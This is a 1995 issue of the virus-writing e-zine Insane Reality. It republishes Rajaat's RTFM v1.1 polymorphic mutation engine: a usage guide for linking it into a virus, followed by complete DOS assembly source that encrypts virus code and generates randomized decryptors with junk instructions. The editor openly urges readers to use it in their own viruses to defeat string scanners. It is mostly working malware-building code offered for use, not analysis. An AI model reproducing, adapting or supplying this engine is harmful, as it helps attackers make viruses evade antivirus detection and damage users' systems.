Insane Reality issue #7 - (c)opyright 1995 Immortal Riot File 020 % RTFE v1.1 by Rajaat % ----------------------- What follow in this article is a very small polymorphic engine written in 1994 by Rajaat. It wasn't detectable when I recieved it (ages ago), but might be now. Well, it might, it mightn't ;). You try it out... There's a few viruses which uses this engine and all of them written by Rajaat himself. I reckon he'd like if you use this program in a good virus you are about to write :-). Ah well, atleast it makes string-scanners worthless. Thank you very much Rajaat! - The Unforgiven. % RME11.DOC % ------------- Rajaat's Tiny Flexible Mutator [RTFM] Version 1.1 (C) 1994 Rajaat --------------------------------------- What is it? ----------- RTFM is an object module that can be linked to your virus to make it impossible for a scanner to use a simple string. It will encrypt your virus and generates a random decryptor using random registers and random instructions. Therefore, an algorithmic approach will be needed to detect viruses using this object module. How to use it ------------- RTFM is very easy to use, and regular assembler users will have no problem using this routine. RTFM needs some input registers and will give some return values after processing. Input ----- DS:SI = piece of code to encrypt ES:SI = place of decryptor+encrypted code CX = length of code (include the mutator (mut_len)) BX = offset of decryptor in file AX = flag bits 0 = 1 do not use junk code Output ------ DS:DX = place of decryptor+encrypted code CX = length of encrypted code+decryptor BP = preserved Other registers might be trashed Put this at the start of your virus code ---------------------------------------- extrn mut_top:near, mut_bottom:near, mut_len:abs extrn rnd_init:near, rnd_get:near extrn mutate:near Before writing the virus to a file, call the engine with these parameters ------------------------------------------------------------------------- mov si,offset virusstart ; with non-resident virii ; you will need a delta offset mov di,offset workspace ; make sure you point this to ; an area that has enough space ; virus the virus (including ; the mutation engine) and the ; decryptor mov cx,viruslength+mut_len ; the length of the virus (and ; the length of the mutation ; engine) mov bx,absstart ; absolute start of the ; decryptor xor ax,ax ; no flags set call mutate ; and mutate! Linking the module ------------------ To link RTFM to your virus, use TLINK from Borland. Use the following syntax : TLINK /T MYVIRUS+RME11 Notes ----- RTFM was not meant to make an unscannable virus, it's only purpose is to make string scanning impossible. The code generated by RTFM is by no means extremely polymorphic and it will not be very difficult to devise an algorithm to detect viruses using RTFM. The size of RTFM is smaller than 650 bytes. This is not too big. History ------- 1.0 initial version 1.1 the decrease counter can get an add or sub the increase pointer can get an add or sub added random byte operation with one register as trash function Greetings --------- Omega [AD], NuKE, Phalcon/Skism, Immortal Riot, TridenT, VLAD, YAM, Trinity, Zerial, DNA and all other virus writers I forgot! % RME11.ASM % ------------- ;------------------------------------------------------------------------------ ; ; Rajaats Tiny Flexible Mutator (RTFM) V1.1 (C) 1994 by Rajaat ; ; Purpose : making it impossible to use scan strings ; ; Input : ; DS:SI = piece of code to encrypt ; ES:SI = place of decryptor+encrypted code ; CX = length of code (include the mutator (mut_len)) ; BX = offset of decryptor in file ; AX = flag bits ; 0 = 1 do not use junk code ; Output : ; DS:DX = place of decryptor+encrypted code ; CX = length of encrypted code+decryptor ; BP = preserved ; Other registers might be trashed ; ; History : ; 1.0 initial version ; 1.1 the decrease counter can get an add or sub ; the increase pointer can get an add or sub ; added random byte operation with one register as trash function ; ;------------------------------------------------------------------------------ SMART JUMPS _text segment 'text' assume cs:_text .radix 16 public mut_top public mut_bottom public mut_len public rnd_init public rnd_get public mutate dos_get_time equ 2c dos_get_date equ 2a mut_bottom = $ reg enum _ax,_cx,_dx,_bx,_sp,_bp,_si,_di seed dw 0 count dw 0 ofs dw 0 dest dw 0 indexbyte db 00000000b countbyte db 00000000b process db 00000000b ; bit 0 : 1 = count register set up ; 1 : 1 = index register set up ; 2 : 1 = don't use junk code decraddr dw 0 loopaddr dw 0 opertab db 30,0,28 trash equ $ cmc clc stc nop mutate: push bp push ds push es push si call mut_delta mut_delta: pop bp sub bp,offset mut_delta mov byte ptr cs:[process][bp],0 mov byte ptr cs:[indexbyte][bp],0 mov byte ptr cs:[countbyte][bp],0 mov word ptr cs:[count][bp],cx mov word ptr cs:[ofs][bp],bx mov word ptr cs:[dest][bp],di test al,1 jnz usejunk or byte ptr cs:[process][bp],4 usejunk: call rnd_init setaction: mov al,byte ptr cs:[process][bp] and al,3 cmp al,3 jz setregsok jmp setregs setregsok: call insert_trash mov word ptr cs:[loopaddr][bp],di mov ax,802e stosw getoper: call rnd_get and ax,3 or al,al jz getoper mov bx,ax add bx,bp push ds push cs pop ds lea si,opertab[bx-1] lodsb pop ds mov byte ptr cs:[action][bp],al cmp al,30 jz noaddsubflip xor byte ptr cs:[action][bp],28 noaddsubflip: add al,byte ptr cs:[indexbyte][bp] test al,4 jnz toomuch xor al,6 toomuch: xor al,2 stosb call rnd_get stosb push ax call insert_trash call rnd_get test al,1 jnz ptrinc test al,2 jnz ptrsub mov ax,0c083 add ah,byte ptr cs:[indexbyte][bp] stosw mov al,01 stosb jmp makecount ptrsub: mov ax,0e883 add ah,byte ptr cs:[indexbyte][bp] stosw mov al,0ffh stosb jmp makecount ptrinc: mov al,40 add al,byte ptr cs:[indexbyte][bp] stosb makecount: call insert_trash call rnd_get test al,1 jnz countdec test al,2 jnz countsub mov ax,0c083 add ah,byte ptr cs:[countbyte][bp] stosw mov al,0ff stosb jmp makeloop countsub: mov ax,0e883 add ah,byte ptr cs:[countbyte][bp] stosw mov al,01 stosb jmp makeloop countdec: mov al,48 add al,byte ptr cs:[countbyte][bp] stosb makeloop: mov al,75 stosb mov ax,word ptr cs:[loopaddr][bp] sub ax,di dec ax stosb call insert_trash mov ax,di sub ax,word ptr cs:[dest][bp] add ax,word ptr cs:[ofs][bp] push di mov di,word ptr cs:[decraddr][bp] stosw pop di pop ax xchg al,ah pop si mov cx,word ptr cs:[count][bp] encrypt: lodsb action equ $ db 0,0e0 stosb loop encrypt mov cx,di mov dx,word ptr cs:[dest][bp] sub cx,dx pop es pop ds pop bp ret setregs: call insert_trash call rnd_get test al,1 jnz firstcount testflag byte ptr cs:[process][bp],2 jnz return setflag byte ptr cs:[process][bp],2 call set_index jmp setaction firstcount: testflag byte ptr cs:[process][bp],1 jnz return setflag byte ptr cs:[process][bp],1 call set_count return: jmp setaction set_index: call rnd_get and al,1 or al,6 test ah,1 jz nobx mov al,_bx nobx: cmp al,byte ptr cs:[countbyte][bp] jz set_index mov byte ptr cs:[indexbyte][bp],al add al,0b8 stosb mov word ptr cs:[decraddr][bp],di stosw ret set_count: call rnd_get and al,7 cmp al,byte ptr cs:[indexbyte][bp] jz set_count cmp al,_sp jz set_count mov byte ptr cs:[countbyte][bp],al add al,0b8 stosb mov ax,word ptr cs:[count][bp] stosw ret insert_trash: test byte ptr cs:[process][bp],4 jnz trasher ret trasher: call rnd_get test ah,1 jnz specialtrash and ax,3 or ax,ax jz trash_done mov cx,ax more_trash: call rnd_get and ax,3 lea bx,trash[bp] add bx,ax mov al,byte ptr cs:[bx] stosb loop more_trash trash_done: ret specialtrash: call rnd_get and al,7 cmp al,_sp jz specialtrash cmp al,byte ptr cs:[indexbyte][bp] je specialtrash cmp al,byte ptr cs:[countbyte][bp] je specialtrash test ah,1 jz domov test ah,2 jz doinc test ah,4 jz dodec mov al,083 stosb regtrash: call rnd_get mov ah,al and al,7 cmp al,_sp jz regtrash cmp al,byte ptr cs:[indexbyte][bp] jz regtrash cmp al,byte ptr cs:[countbyte][bp] jz regtrash mov al,ah or al,0c0 stosb call rnd_get stosb ret dodec: add al,8 doinc: add al,40 stosb ret domov: add al,0b8 storeit: stosb call rnd_get stosw ret rnd_init: mov ah,dos_get_time int 21 xor cx,dx mov word ptr cs:[seed][bp],cx mov ah,dos_get_date int 21 mov cl,al rcr dx,cl not dx sbb word ptr cs:[seed][bp],dx ret rnd_get: push bx mov bx,word ptr cs:[seed][bp] in al,40 xchg ah,al in al,40 xor ax,bx sbb ax,bx ror ax,1 mov word ptr cs:[seed][bp],ax pop bx ret db '[RTFM]' mut_top = $ mut_len = mut_top-mut_bottom+0fh _text ends end